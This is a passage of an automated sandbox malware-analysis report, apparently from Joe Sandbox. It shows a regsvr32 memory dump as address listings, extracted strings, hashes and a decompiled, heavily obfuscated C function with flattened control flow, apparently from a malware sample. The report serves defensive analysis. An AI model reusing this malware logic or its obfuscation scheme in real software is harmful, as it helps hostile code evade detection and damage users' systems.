						L26:
						__eflags = _t929 - 0x45eecb1;
					} while (__eflags != 0);
					goto L9;
				}
			}

0x04223431
0x04223437
0x04223441
0x04223450
0x04223457
0x04223459
0x0422345e
0x04223469
0x0422346e
0x0422346f
0x04223473
0x0422347b
0x04223486
0x04223491
0x0422349c
0x042234a4
0x042234a9
0x042234b1
0x042234b6
0x042234be
0x042234c9
0x042234d1
0x042234dc
0x042234e7
0x042234ef
0x042234fa
0x04223505
0x04223510
0x0422351b
0x04223526
0x0422352e
0x04223539
0x04223544
0x0422354f
0x0422355a
0x04223565
0x04223570
0x0422357b
0x04223586
0x04223591
0x0422359c
0x042235a7
0x042235b2
0x042235bd
0x042235c8
0x042235d0
0x042235db
0x042235ef
0x042235f6
0x042235fe
0x04223609
0x04223614
0x0422361c
0x04223627
0x0422362f
0x04223637
0x0422363f
0x04223647
0x0422364f
0x0422365c
0x04223660
0x0422366d
0x04223671
0x04223679
0x04223684
0x0422368f
0x0422369a
0x042236a5
0x042236af
0x042236ba
0x042236c5
0x042236da
0x042236dd
0x042236e4
0x042236ef
0x042236f7
0x042236ff
0x04223707
0x0422370c
0x04223714
0x0422371f
0x0422372a
0x04223735
0x0422374b
0x04223752
0x0422375d
0x04223768
0x04223773
0x0422377b
0x04223786
0x04223799
0x0422379c
0x042237ae
0x042237b5
0x042237c0
0x042237cb
0x042237d6
0x042237de
0x042237e9
0x042237f4
0x042237ff
0x0422380a
0x04223812
0x0422381e
0x04223821
0x04223825
0x0422382a
0x04223832
0x0422383a
0x04223842
0x04223847
0x0422384f
0x04223857
0x04223862
0x0422386d
0x04223878
0x04223883
0x0422388b
0x04223890
0x04223895
0x0422389d
0x042238a5
0x042238b0
0x042238bb
0x042238c6
0x042238ce
0x042238d6
0x042238de
0x042238e6
0x042238ee
0x042238f9
0x04223904
0x0422390f
0x0422391a
0x04223922
0x0422392f
0x0422393e
0x04223941
0x04223945
0x0422394d
0x04223955
0x0422395d
0x04223965
0x04223975
0x04223979
0x0422397e
0x04223986
0x04223991
0x0422399c
0x042239a7
0x042239b2
0x042239bd
0x042239c8
0x042239d3
0x042239de
0x042239e9
0x042239f0
0x042239fb
0x04223a03
0x04223a0b
0x04223a13
0x04223a1b
0x04223a23
0x04223a30
0x04223a33
0x04223a3c
0x04223a40
0x04223a48
0x04223a50
0x04223a5b
0x04223a63
0x04223a6e
0x04223a7e
0x04223a82
0x04223a87
0x04223a8f
0x04223a97
0x04223aa2
0x04223aad
0x04223ab8
0x04223ac3
0x04223acb
0x04223ad6
0x04223ae1
0x04223ae9
0x04223af9
0x04223afd
0x04223b02
0x04223b0a
0x04223b1c
0x04223b1f
0x04223b26
0x04223b31
0x04223b3c
0x04223b44
0x04223b51
0x04223b5d
0x04223b62
0x04223b68
0x04223b70
0x04223b83
0x04223b86
0x04223b8d
0x04223b95
0x04223ba0
0x04223bab
0x04223bb6
0x04223bc1
0x04223bcc
0x04223bd7
0x04223be2
0x04223bed
0x04223c03
0x04223c0a
0x04223c15
0x04223c20
0x04223c2b
0x04223c36
0x04223c49
0x04223c4a
0x04223c51
0x04223c59
0x04223c64
0x04223c77
0x04223c7e
0x04223c89
0x04223c94
0x04223c9f
0x04223caa
0x04223cb2
0x04223cba
0x04223cbf
0x04223cc7
0x04223ccf
0x04223cd7
0x04223cdb
0x04223ce0
0x04223ce5
0x04223ced
0x04223cf8
0x04223d03
0x04223d0e
0x04223d1c
0x04223d25
0x04223d29
0x04223d31
0x04223d3c
0x04223d47
0x04223d52
0x04223d5d
0x04223d68
0x04223d73
0x04223d7e
0x04223d89
0x04223d91
0x04223d9c
0x04223da7
0x04223daf
0x04223dba
0x04223dc2
0x04223dca
0x04223dd2
0x04223ddc
0x04223de4
0x04223df9
0x04223dfc
0x04223e03
0x04223e0e
0x04223e19
0x04223e2f
0x04223e36
0x04223e41
0x04223e4c
0x04223e54
0x04223e5f
0x04223e6a
0x04223e7d
0x04223e80
0x04223e87
0x04223e92
0x04223e9d
0x04223eb0
0x04223eb7
0x04223ec2
0x04223ecd
0x04223ee3
0x04223eea
0x04223ef5
0x04223f00
0x04223f08
0x04223f13
0x04223f1e
0x04223f30
0x04223f33
0x04223f3a
0x04223f42
0x04223f4d
0x04223f58
0x04223f60
0x04223f6b
0x04223f7e
0x04223f85
0x04223f90
0x04223f98
0x04223fa0
0x04223fa8
0x04223fb0
0x04223fb8
0x04223fc0
0x04223fcd
0x04223fd1
0x04223fd9
0x04223fe1
0x04223fec
0x04223ff7
0x04224002
0x0422400d
0x04224018
0x04224023
0x0422402e
0x04224036
0x0422403e
0x04224049
0x04224054
0x0422405f
0x0422406a
0x04224077
0x04224082
0x0422408e
0x04224095
0x0422409a
0x042240a3
0x042240ae
0x042240b9
0x042240cc
0x042240cf
0x042240d6
0x042240e1
0x042240f4
0x042240fb
0x04224106
0x04224111
0x04224119
0x04224126
0x0422412a
0x0422412f
0x04224137
0x04224142
0x0422414a
0x04224155
0x04224165
0x04224169
0x0422416e
0x04224176
0x0422417e
0x04224189
0x04224194
0x0422419f
0x042241aa
0x042241b2
0x042241b7
0x042241c4
0x042241c5
0x042241c9
0x042241d1
0x042241dc
0x042241e7
0x042241f2
0x042241ff
0x04224209
0x0422420d
0x04224212
0x0422421a
0x04224222
0x0422422a
0x04224232
0x0422423a
0x04224242
0x0422424a
0x04224252
0x0422425a
0x0422425f
0x04224267
0x04224267
0x04224267
0x0422426c
0x04224271
0x04224271
0x04224276
0x04224276
0x04224276
0x04224276
0x04224278
0x00000000
0x00000000
0x04224628
0x0422462e
0x04224707
0x04224714
0x0422471b
0x0422471d
0x0422471d
0x04224722
0x04224727
0x00000000
0x04224727
0x04224634
0x04224636
0x0422464e
0x0422465a
0x04224661
0x0422466c
0x04224690
0x042246c7
0x042246de
0x042246ef
0x042246f4
0x042243ef
0x042243ef
0x00000000
0x042243ef
0x04224638
0x0422463e
0x00000000
0x00000000
0x04224644
0x04224644
0x0422427e
0x042244d1
0x042244dd
0x042244e1
0x042244ec
0x042244f1
0x042244fa
0x042244fc
0x04224500
0x0422450e
0x04224526
0x0422452d
0x04224534
0x04224543
0x04224551
0x0422455c
0x0422456a
0x04224571
0x04224579
0x042245d3
0x042245e3
0x042245fb
0x0422461b
0x04224620
0x042244c7
0x042244c7
0x00000000
0x042244c7
0x0422428a
0x042243f9
0x04224405
0x0422440c
0x04224414
0x04224419
0x04224427
0x0422442e
0x0422447a
0x0422448e
0x0422449f
0x042244bf
0x042244c4
0x00000000
0x042244c4
0x04224292
0x04224311
0x0422431d
0x04224321
0x04224334
0x0422433a
0x04224349
0x0422435e
0x0422437e
0x042243a9
0x042243b2
0x042243b7
0x042243ba
0x042243c1
0x042243ca
0x042243c3
0x042243c5
0x042243c7
0x042243c7
0x042243e7
0x042243ec
0x00000000
0x042243ec
0x04224296
0x042242e9
0x042242ee
0x042242ef
0x042242f8
0x042242fa
0x042242fd
0x04224302
0x04224306
0x04224309
0x00000000
0x04224309
0x0422429a
0x00000000
0x00000000
0x042242b9
0x042242c2
0x042242cc
0x0422472c
0x0422472c
0x0422472c
0x00000000
0x04224738

Strings

)<L, xrefs: 04223591
{, xrefs: 04223570
!Sw, xrefs: 042236F7
T9, xrefs: 04223965
Et, xrefs: 04223CE5
J', xrefs: 04223627
zj, xrefs: 04223F4D
c, xrefs: 0422377B
R, xrefs: 04223C0A
sv, xrefs: 04223A23
_EBM, xrefs: 04223473
Vdd, xrefs: 0422421A
L, xrefs: 04223D68

Memory Dump Source

Source File: 00000006.00000002.288171571.0000000004221000.00000020.00000001.sdmp, Offset: 04220000, based on PE: true

Associated: 00000006.00000002.288167692.0000000004220000.00000004.00000001.sdmp Download File
Associated: 00000006.00000002.288188944.0000000004246000.00000004.00000001.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_4220000_regsvr32.jbxd

Yara matches

Similarity

API ID:
String ID: !Sw$)<L$Et$L$R$T9$Vdd$_EBM$sv$zj$J'$c${
API String ID: 0-2179300830
Opcode ID: 5fb64179b472650c740259e10fd6eee9cff0bf3330ad70d05624e04e3932139b
Instruction ID: 5eaab8c40e5c741b9815f0fd75347658b5e89e7ed1d55b9fb531ef6ca6e0c60b
Opcode Fuzzy Hash: 5fb64179b472650c740259e10fd6eee9cff0bf3330ad70d05624e04e3932139b
Instruction Fuzzy Hash: C092EF716093819FE379CF25C58AA9FBBE1BBC4308F10891DE1DA96260D7B19949CF43

Uniqueness

Uniqueness Score: -1.00%

Function 042367E6, Relevance: 17.0, Strings: 13, Instructions: 728
COMMONCrypto

Download Yara Rule

C-Code - Quality: 95%

			E042367E6(intOrPtr __ecx, void* __edx, intOrPtr _a4, intOrPtr _a8, intOrPtr _a12, intOrPtr _a16, signed int _a20, intOrPtr _a24, signed int* _a28, signed int _a32, intOrPtr _a36, intOrPtr _a40, intOrPtr _a44, intOrPtr _a48) {
				intOrPtr _v4;
				signed int _v8;
				intOrPtr _v12;
				signed int _v16;
				signed int _v20;
				signed int _v24;
				signed int _v28;
				signed int _v32;
				signed int _v36;
				signed int _v40;
				signed int _v44;
				signed int _v48;
				signed int _v52;
				signed int _v56;
				signed int _v60;
				signed int _v64;
				signed int _v68;
				signed int _v72;
				signed int _v76;
				signed int _v80;
				signed int _v84;
				signed int _v88;
				signed int _v92;
				signed int _v96;
				signed int _v100;
				signed int _v104;
				signed int _v108;
				signed int _v112;
				signed int _v116;
				signed int _v120;
				signed int _v124;
				signed int _v128;
				signed int _v132;
				signed int _v136;
				signed int _v140;
				signed int _v144;
				signed int _v148;
				signed int _v152;
				signed int _v156;
				signed int _v160;
				signed int _v164;
				signed int _v168;
				signed int _v172;
				signed int _v176;
				signed int _v180;
				signed int _v184;
				signed int _v188;
				signed int _v192;
				signed int _v196;
				signed int _v200;
				signed int _v204;
				signed int _v208;
				signed int _v212;
				signed int _v216;
				signed int _v220;
				signed int _v224;
				signed int _v228;
				signed int _v232;
				signed int _v236;
				signed int _v240;
				signed int _v244;
				signed int _v248;
				signed int _v252;
				signed int _v256;
				signed int _v260;
				signed int _v264;
				signed int _v268;
				signed int _v272;
				signed int _v276;
				signed int _v280;
				signed int _v284;
				signed int _v288;
				signed int _v292;
				signed int _v296;
				signed int _v300;
				signed int _v304;
				signed int _t846;
				intOrPtr _t847;
				signed int _t861;
				void* _t866;
				signed int _t867;
				signed int _t874;
				signed int* _t876;
				signed int _t885;
				void* _t937;
				signed int _t946;
				signed int _t960;
				signed int _t961;
				signed int _t962;
				signed int _t963;
				signed int _t964;
				signed int _t965;
				signed int _t966;
				signed int _t967;
				signed int _t968;
				signed int _t969;
				signed int _t970;
				signed int _t971;
				signed int _t972;
				signed int _t973;
				signed int _t974;
				signed int _t975;
				signed int _t976;
				signed int _t978;
				signed int _t980;
				signed int _t985;
				signed int _t986;
				signed int* _t989;
				void* _t991;

				_t876 = _a28;
				_push(_a48);
				_push(_a44);
				_v4 = __ecx;
				_push(_a40);
				_push(_a36);
				_push(_a32);
				_push(_t876);
				_push(_a24);
				_push(_a20 & 0x0000ffff);
				_push(_a16);
				_push(_a12);
				_push(_a8);
				_push(_a4);
				_push(__edx);
				_push(__ecx);
				E0423FE29(_a20 & 0x0000ffff);
				_v304 = 0x84e682;
				_t989 =  &(( &_v304)[0xe]);
				_v304 = _v304 + 0xeb1b;
				_v304 = _v304 ^ 0x0f7f391c;
				_v304 = _v304 ^ 0x0ffae881;
				_t874 = 0;
				_v80 = 0xd03450;
				_t978 = 0x7e00160;
				_v80 = _v80 + 0x474c;
				_v80 = _v80 ^ 0x00d07b8f;
				_v40 = 0x62fb41;
				_v40 = _v40 ^ 0x58566629;
				_v40 = _v40 ^ 0x58349da0;
				_v56 = 0xe1b746;
				_v56 = _v56 + 0x8be3;
				_v56 = _v56 ^ 0x00e2c329;
				_v32 = 0xe6e4c5;
				_v32 = _v32 + 0xfb3f;
				_v32 = _v32 ^ 0x00e7a004;
				_v164 = 0x3535e2;
				_v164 = _v164 + 0xb15e;
				_v164 = _v164 + 0xffff4c2e;
				_v164 = _v164 ^ 0x0075336e;
				_v256 = 0xe056c0;
				_v256 = _v256 >> 0xf;
				_v12 = 0;
				_t960 = 0xf;
				_v256 = _v256 / _t960;
				_t961 = 0x75;
				_v256 = _v256 / _t961;
				_v256 = _v256 ^ 0x00040000;
				_v64 = 0xc12004;
				_v64 = _v64 | 0x05a7924d;
				_v64 = _v64 ^ 0x01e7b24d;
				_v200 = 0x3d9b4;
				_v200 = _v200 + 0xffffba05;
				_t962 = 0x4d;
				_v200 = _v200 / _t962;
				_v200 = _v200 >> 0xa;
				_v200 = _v200 ^ 0x00080002;
				_v264 = 0xdbb33c;
				_t963 = 0x21;
				_v264 = _v264 / _t963;
				_v264 = _v264 ^ 0x3bde5a68;
				_t964 = 0x74;
				_v264 = _v264 * 0x67;
				_v264 = _v264 ^ 0x14497559;
				_v172 = 0x2a3d0;
				_v172 = _v172 + 0xffff520a;
				_v172 = _v172 + 0xffffc196;
				_v172 = _v172 ^ 0x0001b670;
				_v16 = 0x40a0dc;
				_v16 = _v16 >> 0xc;
				_v16 = _v16 ^ 0x8000040a;
				_v280 = 0x3a90ef;
				_v280 = _v280 + 0xfffff29b;
				_v280 = _v280 + 0xd15d;
				_v280 = _v280 + 0xffff2fb1;
				_v280 = _v280 ^ 0x003a8498;
				_v276 = 0x2b48bd;
				_v276 = _v276 * 0x59;
				_v276 = _v276 | 0x0b3e9c0e;
				_v276 = _v276 + 0x2f0e;
				_v276 = _v276 ^ 0x0f3f0c8c;
				_v244 = 0xf133cf;
				_v244 = _v244 * 0x50;
				_v244 = _v244 >> 0xe;
				_v244 = _v244 >> 2;
				_v244 = _v244 ^ 0x00004b7f;
				_v220 = 0x48bde3;
				_v220 = _v220 * 7;
				_v220 = _v220 << 3;
				_v220 = _v220 << 7;
				_v220 = _v220 ^ 0xf4c4d41f;
				_v152 = 0xdfcbbb;
				_v152 = _v152 / _t964;
				_v152 = _v152 ^ 0x15954f38;
				_v152 = _v152 ^ 0x1594a2df;
				_v236 = 0x79b2d;
				_v236 = _v236 + 0xffffa56f;
				_v236 = _v236 >> 0xc;
				_v236 = _v236 + 0xffff51ce;
				_v236 = _v236 ^ 0xffff5342;
				_v300 = 0x53b7c5;
				_v300 = _v300 | 0xbc55bbc8;
				_v300 = _v300 >> 0xb;
				_v300 = _v300 * 0x4a;
				_v300 = _v300 ^ 0x06ca0610;
				_v300 = 0x831a37;
				_v300 = _v300 >> 0xa;
				_v300 = _v300 ^ 0xf07c3cef;
				_v300 = _v300 >> 2;
				_v300 = _v300 ^ 0x3c15b978;
				_v296 = 0xbc94b;
				_v296 = _v296 ^ 0xc913797f;
				_v296 = _v296 ^ 0xc91ffb85;
				_v304 = 0xeb47f;
				_v304 = _v304 * 0x21;
				_v304 = _v304 >> 9;
				_v304 = _v304 ^ 0x00079d5b;
				_v296 = 0x863d92;
				_v296 = _v296 | 0xc3fe325e;
				_v296 = _v296 ^ 0xc3f15d89;
				_v304 = 0x8c9292;
				_v304 = _v304 * 0x65;
				_v304 = _v304 * 0x2f;
				_v304 = _v304 ^ 0x2ea0d0e4;
				_v296 = 0x7998c8;
				_v296 = _v296 * 0x1f;
				_v296 = _v296 ^ 0x0ebe6fc9;
				_v304 = 0xc13eda;
				_v304 = _v304 + 0x239b;
				_v304 = _v304 | 0x8aa80eb1;
				_v304 = _v304 ^ 0x8ae5aa52;
				_v304 = 0x2ac635;
				_t965 = 3;
				_v304 = _v304 * 0x1a;
				_v304 = _v304 | 0xa2ccc89a;
				_v304 = _v304 ^ 0xa6da26ac;
				_v296 = 0xd161a;
				_v296 = _v296 >> 0xb;
				_v296 = _v296 ^ 0x00086437;
				_v300 = 0xc8d906;
				_v300 = _v300 << 5;
				_v300 = _v300 / _t965;
				_v300 = _v300 | 0xd3e5db7e;
				_v300 = _v300 ^ 0xdbffc0c3;
				_v304 = 0xa90eaa;
				_t966 = 0x62;
				_v304 = _v304 / _t966;
				_v304 = _v304 ^ 0xa321830c;
				_v304 = _v304 ^ 0xa32eb72c;
				_v296 = 0xc9c90e;
				_v296 = _v296 ^ 0x29ac5136;
				_v296 = _v296 ^ 0x296c2187;
				_v168 = 0xb8ba74;
				_v168 = _v168 >> 0xb;
				_v168 = _v168 | 0xd39b7801;
				_v168 = _v168 ^ 0xd39a1a13;
				_v240 = 0xce03d4;
				_v240 = _v240 + 0xffff6ba1;
				_v240 = _v240 + 0xffff3730;
				_t967 = 0x7e;
				_v240 = _v240 / _t967;
				_v240 = _v240 ^ 0x00015c8a;
				_v144 = 0x76dd98;
				_v144 = _v144 << 0xa;
				_t968 = 0xb;
				_v144 = _v144 / _t968;
				_v144 = _v144 ^ 0x13f9c089;
				_v88 = 0xd6758c;
				_t969 = 0x7c;
				_v88 = _v88 * 0x7d;
				_v88 = _v88 ^ 0x68b07bf0;
				_v112 = 0x136ce2;
				_v112 = _v112 * 0x7a;
				_v112 = _v112 ^ 0x094e8b6c;
				_v160 = 0xc781f4;
				_v160 = _v160 + 0x7b6;
				_v160 = _v160 ^ 0xd2a6870e;
				_v160 = _v160 ^ 0xd267b3cc;
				_v216 = 0x3cec52;
				_v216 = _v216 / _t969;
				_v216 = _v216 + 0xe7c2;
				_v216 = _v216 + 0x185f;
				_v216 = _v216 ^ 0x00083478;
				_v128 = 0xe8ace2;
				_v128 = _v128 + 0xffff5a4b;
				_v128 = _v128 >> 5;
				_v128 = _v128 ^ 0x00080537;
				_v20 = 0xba5f1f;
				_t970 = 0x28;
				_v20 = _v20 / _t970;
				_v20 = _v20 ^ 0x00097bc9;
				_v184 = 0x868bed;
				_v184 = _v184 ^ 0x5d9bbcc4;
				_t971 = 0x15;
				_t985 = 0x61;
				_v184 = _v184 * 0x7e;
				_v184 = _v184 ^ 0xd4635941;
				_v248 = 0xc6bb26;
				_v248 = _v248 + 0x4226;
				_v248 = _v248 + 0x1eaa;
				_v248 = _v248 + 0x143f;
				_v248 = _v248 ^ 0x00cd4d4f;
				_v124 = 0x1449aa;
				_v124 = _v124 >> 7;
				_v124 = _v124 + 0xffff4698;
				_v124 = _v124 ^ 0xfffccf45;
				_v204 = 0xd9ae2a;
				_v204 = _v204 * 0x25;
				_v204 = _v204 | 0x41acc33e;
				_v204 = _v204 + 0xe9b9;
				_v204 = _v204 ^ 0x5ff1a5de;
				_v104 = 0x27630a;
				_v104 = _v104 | 0x34992b3f;
				_v104 = _v104 ^ 0x34bda39f;
				_v28 = 0xa04064;
				_v28 = _v28 | 0x72e9e7d8;
				_v28 = _v28 ^ 0x72e1f0ab;
				_v48 = 0xc4ba01;
				_v48 = _v48 << 7;
				_v48 = _v48 ^ 0x6259539c;
				_v180 = 0x3340f4;
				_v180 = _v180 | 0x3035b2e2;
				_v180 = _v180 << 9;
				_v180 = _v180 ^ 0x6feb3ded;
				_v232 = 0x2e047a;
				_v232 = _v232 >> 0xa;
				_v232 = _v232 * 0x12;
				_v232 = _v232 / _t971;
				_v232 = _v232 ^ 0x0002c217;
				_v72 = 0x299f12;
				_v72 = _v72 << 3;
				_v72 = _v72 ^ 0x0148e07c;
				_v188 = 0xf414db;
				_v188 = _v188 << 0x10;
				_v188 = _v188 / _t985;
				_v188 = _v188 ^ 0x003bf194;
				_v156 = 0xc18fa7;
				_t986 = 0x6b;
				_v156 = _v156 / _t986;
				_t972 = 0xc;
				_v156 = _v156 / _t972;
				_v156 = _v156 ^ 0x0009860f;
				_v208 = 0xbb24e8;
				_v208 = _v208 + 0xd4bb;
				_v208 = _v208 + 0xffffec33;
				_t973 = 0x26;
				_v208 = _v208 / _t973;
				_v208 = _v208 ^ 0x000d494f;
				_v92 = 0xf4dbce;
				_v92 = _v92 + 0x5ee7;
				_v92 = _v92 ^ 0x00f22c8f;
				_v100 = 0x7239d1;
				_v100 = _v100 | 0x01f5add3;
				_v100 = _v100 ^ 0x01f71b27;
				_v292 = 0x4b72c4;
				_t974 = 0x61;
				_v292 = _v292 * 0xb;
				_v292 = _v292 + 0xfffff18f;
				_v292 = _v292 * 0xc;
				_v292 = _v292 ^ 0x26e66304;
				_v224 = 0xeae701;
				_v224 = _v224 << 1;
				_v224 = _v224 << 6;
				_v224 = _v224 | 0xd938d457;
				_v224 = _v224 ^ 0xfd70504c;
				_v108 = 0xa91a4c;
				_v108 = _v108 << 2;
				_v108 = _v108 ^ 0x02a24d10;
				_v68 = 0x46e95;
				_v68 = _v68 ^ 0x636abfcf;
				_v68 = _v68 ^ 0x636edf46;
				_v76 = 0x93e843;
				_v76 = _v76 | 0xba39a6db;
				_v76 = _v76 ^ 0xbaba9d8f;
				_v84 = 0xd50ea2;
				_v84 = _v84 | 0x50ec9d25;
				_v84 = _v84 ^ 0x50f8ba70;
				_v288 = 0x52484f;
				_v288 = _v288 + 0xb430;
				_v288 = _v288 * 0x4c;
				_v288 = _v288 >> 0xb;
				_v288 = _v288 ^ 0x000d4af8;
				_v284 = 0x2da3fa;
				_v284 = _v284 | 0xb3c63afe;
				_v284 = _v284 ^ 0xfce0d7d7;
				_v284 = _v284 + 0xffff4c41;
				_v284 = _v284 ^ 0x4f0e5b87;
				_v52 = 0xe252ad;
				_v52 = _v52 | 0x3c4f00b6;
				_v52 = _v52 ^ 0x3cecbbb2;
				_v60 = 0xab577e;
				_v60 = _v60 << 7;
				_v60 = _v60 ^ 0x55a8aa1a;
				_v148 = 0x5c065f;
				_v148 = _v148 << 0x10;
				_v148 = _v148 / _t986;
				_v148 = _v148 ^ 0x00079968;
				_v252 = 0xfb0d10;
				_v252 = _v252 / _t974;
				_v252 = _v252 << 0x10;
				_v252 = _v252 ^ 0x25f2b671;
				_v252 = _v252 ^ 0xb36c8d69;
				_v260 = 0x776100;
				_v260 = _v260 >> 0x10;
				_v260 = _v260 | 0xe8d0a90c;
				_v260 = _v260 * 0x14;
				_v260 = _v260 ^ 0x304a111f;
				_v268 = 0x4079f3;
				_v268 = _v268 >> 4;
				_t975 = 0x4f;
				_v268 = _v268 * 0x5f;
				_v268 = _v268 + 0x21c5;
				_v268 = _v268 ^ 0x017b7447;
				_v44 = 0x101fed;
				_v44 = _v44 ^ 0x1e85c214;
				_v44 = _v44 ^ 0x1e9d5cc7;
				_v140 = 0xb56248;
				_v140 = _v140 >> 0xb;
				_v140 = _v140 ^ 0xb0648700;
				_v140 = _v140 ^ 0xb06b52ff;
				_v228 = 0x5d2032;
				_v228 = _v228 + 0xe696;
				_v228 = _v228 + 0x90e;
				_v228 = _v228 << 6;
				_v228 = _v228 ^ 0x178d1a7f;
				_v192 = 0x46faa8;
				_v192 = _v192 / _t975;
				_v192 = _v192 + 0x59ff;
				_v192 = _v192 ^ 0x00002efb;
				_v272 = 0x13fbcb;
				_v272 = _v272 + 0xffff66dd;
				_v272 = _v272 * 0x5d;
				_v272 = _v272 + 0xffff70cc;
				_v272 = _v272 ^ 0x070467b9;
				_v136 = 0xda75c;
				_v136 = _v136 << 0xe;
				_v136 = _v136 << 8;
				_v136 = _v136 ^ 0xd703a46a;
				_v24 = 0x98e6;
				_v24 = _v24 | 0x30837cf6;
				_v24 = _v24 ^ 0x308cf6e6;
				_v196 = 0x2348e5;
				_v196 = _v196 + 0xec0b;
				_v196 = _v196 + 0xffff4f76;
				_v196 = _v196 + 0xffff4b3e;
				_v196 = _v196 ^ 0x002962b3;
				_v176 = 0x7bcaf7;
				_v176 = _v176 * 0x37;
				_v176 = _v176 << 4;
				_v176 = _v176 ^ 0xa986161e;
				_v120 = 0x3fa34;
				_v120 = _v120 * 0x49;
				_v120 = _v120 >> 7;
				_v120 = _v120 ^ 0x00066829;
				_v116 = 0x9c5c94;
				_v116 = _v116 + 0x20fd;
				_v116 = _v116 >> 2;
				_v116 = _v116 ^ 0x0025da20;
				_v212 = 0x6b8402;
				_v212 = _v212 + 0x9bc6;
				_v212 = _v212 * 0x74;
				_v212 = _v212 + 0xe621;
				_v212 = _v212 ^ 0x30fe6560;
				_v96 = 0xbe9741;
				_v96 = _v96 + 0xffffd77c;
				_v96 = _v96 ^ 0x00bbad9c;
				_v304 = 0xe465cf;
				_v304 = _v304 >> 4;
				_v304 = _v304 << 5;
				_v304 = _v304 ^ 0x01c3ad6d;
				_v296 = 0xc47264;
				_v296 = _v296 << 0xc;
				_v296 = _v296 ^ 0x4720cdbf;
				_v132 = 0x7ca780;
				_v132 = _v132 + 0xa093;
				_v132 = _v132 << 7;
				_v132 = _v132 ^ 0x3ea11d20;
				_t976 = _v8;
				_t987 = _v8;
				while(1) {
					L1:
					_t937 = 0xd154a5a;
					while(1) {
						_t846 = _v300;
						while(1) {
							L3:
							_t991 = _t978 - 0x7e00160;
							if(_t991 > 0) {
								break;
							}
							if(_t991 == 0) {
								_t978 = 0xfd2ad77;
								continue;
							} else {
								if(_t978 == 0x1a1d1c) {
									__eflags = L04224BFC(_t976, _a16);
									_t978 = 0x6a5d586;
									_t866 = 1;
									_t874 =  !=  ? _t866 : _t874;
									goto L13;
								} else {
									if(_t978 == 0x352276a) {
										_t867 = E0422DDA9(_v168, _t876, _v280, _t876, _v240, _v144, _t876, _v88, _v112);
										_t987 = _t867;
										__eflags = _t867;
										_t978 =  !=  ? 0x6fee97d : 0xb1727d5;
										E04242B09(_v160, 0, _v216, _v128);
										_t989 =  &(_t989[0xa]);
										L39:
										_t876 = _a28;
										_t937 = 0xd154a5a;
										goto L40;
									} else {
										if(_t978 == 0x6a5d586) {
											L0423E358(_v196, _v176, _t976, _v120);
											_t978 = 0x6d75a8e;
											goto L12;
										} else {
											if(_t978 == 0x6d75a8e) {
												L0423E358(_v116, _v212, _t846, _v96);
												_t978 = 0xedc04fb;
												L12:
												L13:
												_t876 = _a28;
												goto L1;
											} else {
												if(_t978 != 0x6fee97d) {
													L40:
													__eflags = _t978 - 0xb1727d5;
													if(_t978 != 0xb1727d5) {
														_t846 = _v300;
														continue;
													}
												} else {
													_t846 = E0422ED66(_v20, _v184, _t987, _v248, _v124, _v152, _v204, _a40, _t876, _v104, _a20, _t876, _v28, _v48);
													_t876 = _a28;
													_t989 =  &(_t989[0xe]);
													_v300 = _t846;
													_t937 = 0xd154a5a;
													_t978 =  !=  ? 0xd154a5a : 0xedc04fb;
													continue;
												}
											}
										}
									}
								}
							}
							L43:
							return _t874;
						}
						__eflags = _t978 - _t937;
						if(_t978 == _t937) {
							__eflags =  *_t876;
							if(__eflags == 0) {
								_t847 = _v12;
							} else {
								_push(_v188);
								_push(_v72);
								_push(_v232);
								_t847 = E0423E1F8(0x4221a0c, _v180, __eflags);
								_t989 =  &(_t989[3]);
								_v12 = _t847;
							}
							_t946 = _v16 | _v172 | _v264 | _v200 | _v64 | _v256 | _v164 | _v32 | _v56;
							_t980 = _a32 & 1;
							__eflags = _t980;
							if(_t980 != 0) {
								__eflags = _t946;
							}
							_t976 = E04224A88(1, _t946, _a48, _v156, 1, _t847, 1, _v208, _v92, _v300, _v100, _v292, _v224, 1, _v108);
							E0423FECB(_v12, _v68, _v76, _v84, _v288);
							_t989 =  &(_t989[0x10]);
							__eflags = _t976;
							if(_t976 == 0) {
								_t978 = 0x6d75a8e;
								goto L39;
							} else {
								_v36 = 1;
								E04243E0E(_v276,  &_v36, _v284, _v52, _v60, 4, _t976);
								_t989 =  &(_t989[5]);
								__eflags = _t980;
								if(_t980 != 0) {
									E0423C8CF( &_v36, _t976,  &_v8, _v148, _v244, _v252, _v260, _v268);
									_t769 =  &_v36;
									 *_t769 = _v36 | _v236;
									__eflags =  *_t769;
									E04243E0E(_v220,  &_v36, _v44, _v140, _v228, _v8, _t976);
									_t989 =  &(_t989[0xb]);
								}
								_t978 = 0xf81d281;
								goto L13;
							}
						} else {
							__eflags = _t978 - 0xdd5f83a;
							if(__eflags == 0) {
								__eflags = E0422EF0C(_t976, _v80, __eflags) - _v40;
								_t978 =  ==  ? 0x1a1d1c : 0x6a5d586;
								goto L13;
							} else {
								__eflags = _t978 - 0xedc04fb;
								if(_t978 == 0xedc04fb) {
									L0423E358(_v304, _v296, _t987, _v132);
								} else {
									__eflags = _t978 - 0xf81d281;
									if(_t978 == 0xf81d281) {
										_t885 =  *_t876;
										__eflags = _t885;
										if(_t885 == 0) {
											_t861 = 0;
											__eflags = 0;
										} else {
											_t861 = _a28[1];
										}
										_push(_t885);
										E042410DC(_t976, _v192, _v4, _t885, _v272, _v136, _v24, _t861);
										_t989 =  &(_t989[7]);
										asm("sbb esi, esi");
										_t978 = (_t978 & 0x073022b4) + 0x6a5d586;
										goto L13;
									} else {
										__eflags = _t978 - 0xfd2ad77;
										if(_t978 != 0xfd2ad77) {
											goto L40;
										} else {
											_t978 = 0x352276a;
											goto L3;
										}
									}
								}
							}
						}
						goto L43;
					}
				}
			}

0x042367f8
0x04236800
0x0423680a
0x04236811
0x04236818
0x0423681f
0x04236826
0x0423682d
0x0423682e
0x04236835
0x04236836
0x0423683d
0x04236844
0x0423684b
0x04236852
0x04236853
0x04236854
0x04236859
0x04236861
0x04236864
0x0423686e
0x04236878
0x04236880
0x04236882
0x0423688d
0x04236892
0x0423689d
0x042368a8
0x042368b3
0x042368be
0x042368c9
0x042368d4
0x042368df
0x042368ea
0x042368f5
0x04236900
0x0423690b
0x04236916
0x04236921
0x0423692c
0x04236937
0x0423693f
0x04236944
0x04236951
0x04236956
0x04236960
0x04236965
0x0423696b
0x04236973
0x0423697e
0x04236989
0x04236994
0x0423699c
0x042369a8
0x042369ad
0x042369b1
0x042369b6
0x042369c0
0x042369cc
0x042369d1
0x042369d7
0x042369e4
0x042369e5
0x042369e9
0x042369f1
0x042369fc
0x04236a07
0x04236a12
0x04236a1d
0x04236a28
0x04236a30
0x04236a3b
0x04236a43
0x04236a4b
0x04236a53
0x04236a5b
0x04236a63
0x04236a70
